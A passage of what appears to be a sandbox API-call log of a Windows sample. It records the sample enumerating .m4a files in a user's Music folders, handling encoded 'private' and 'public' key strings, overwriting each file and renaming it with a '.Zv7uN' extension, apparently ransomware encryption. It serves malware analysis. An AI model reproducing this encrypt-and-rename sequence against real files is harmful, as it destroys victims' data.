halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\kynh4m18c.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeac8a0f0, ftCreationTime.dwHighDateTime=0x1d5daf4, ftLastAccessTime.dwLowDateTime=0x7a5b8d0, ftLastAccessTime.dwHighDateTime=0x1d5e7f6, ftLastWriteTime.dwLowDateTime=0x7a5b8d0, ftLastWriteTime.dwHighDateTime=0x1d5e7f6, nFileSizeHigh=0x0, nFileSizeLow=0x10b5f)) returned 1 [0086.466] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\kynh4m18C.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\kynh4m18c.m4a")) returned 0x20 [0086.466] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\kynh4m18C.m4a", dwFileAttributes=0x80) returned 1 [0086.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.469] GetCurrentThreadId () returned 0xa30 [0086.469] GetCurrentThreadId () returned 0xa30 [0086.470] GetCurrentThreadId () returned 0xa30 [0086.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.470] GetCurrentThreadId () returned 0xa30 [0086.471] GetCurrentThreadId () returned 0xa30 [0086.471] GetCurrentThreadId () returned 0xa30 [0086.471] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\kynh4m18C.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\kynh4m18c.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.471] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0086.471] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.471] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x10b5f [0086.471] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.471] ReadFile (in: hFile=0x104, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x10b5f, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f108*=0x10b5f, lpOverlapped=0x0) returned 1 [0086.474] CloseHandle (hObject=0x104) returned 1 [0086.475] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\kynh4m18C.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\kynh4m18c.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.478] WriteFile (in: hFile=0x104, lpBuffer=0x1f39460*, nNumberOfBytesToWrite=0x10b5f, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f39460*, lpNumberOfBytesWritten=0x18f114*=0x10b5f, lpOverlapped=0x0) returned 1 [0086.482] CloseHandle (hObject=0x104) returned 1 [0086.485] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\kynh4m18C.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\kynh4m18c.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\kynh4m18C.m4a.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\kynh4m18c.m4a.zv7un")) returned 1 [0086.485] GetCurrentThreadId () returned 0xa30 [0086.485] GetCurrentThreadId () returned 0xa30 [0086.485] GetCurrentThreadId () returned 0xa30 [0086.486] GetCurrentThreadId () returned 0xa30 [0086.486] GetCurrentThreadId () returned 0xa30 [0086.486] GetCurrentThreadId () returned 0xa30 [0086.486] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efcffe0, ftCreationTime.dwHighDateTime=0x1d5da7a, ftLastAccessTime.dwLowDateTime=0x4cb9e370, ftLastAccessTime.dwHighDateTime=0x1d5dbfc, ftLastWriteTime.dwLowDateTime=0x4cb9e370, ftLastWriteTime.dwHighDateTime=0x1d5dbfc, nFileSizeHigh=0x0, nFileSizeLow=0x15877, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="pYQA2b4qoY2Y NFyD.m4a", cAlternateFileName="PYQA2B~1.M4A")) returned 1 [0086.486] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.486] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.486] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\pYQA2b4qoY2Y NFyD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\pyqa2b4qoy2y nfyd.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efcffe0, ftCreationTime.dwHighDateTime=0x1d5da7a, ftLastAccessTime.dwLowDateTime=0x4cb9e370, ftLastAccessTime.dwHighDateTime=0x1d5dbfc, ftLastWriteTime.dwLowDateTime=0x4cb9e370, ftLastWriteTime.dwHighDateTime=0x1d5dbfc, nFileSizeHigh=0x0, nFileSizeLow=0x15877)) returned 1 [0086.486] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\pYQA2b4qoY2Y NFyD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\pyqa2b4qoy2y nfyd.m4a")) returned 0x20 [0086.486] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\pYQA2b4qoY2Y NFyD.m4a", dwFileAttributes=0x80) returned 1 [0086.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8O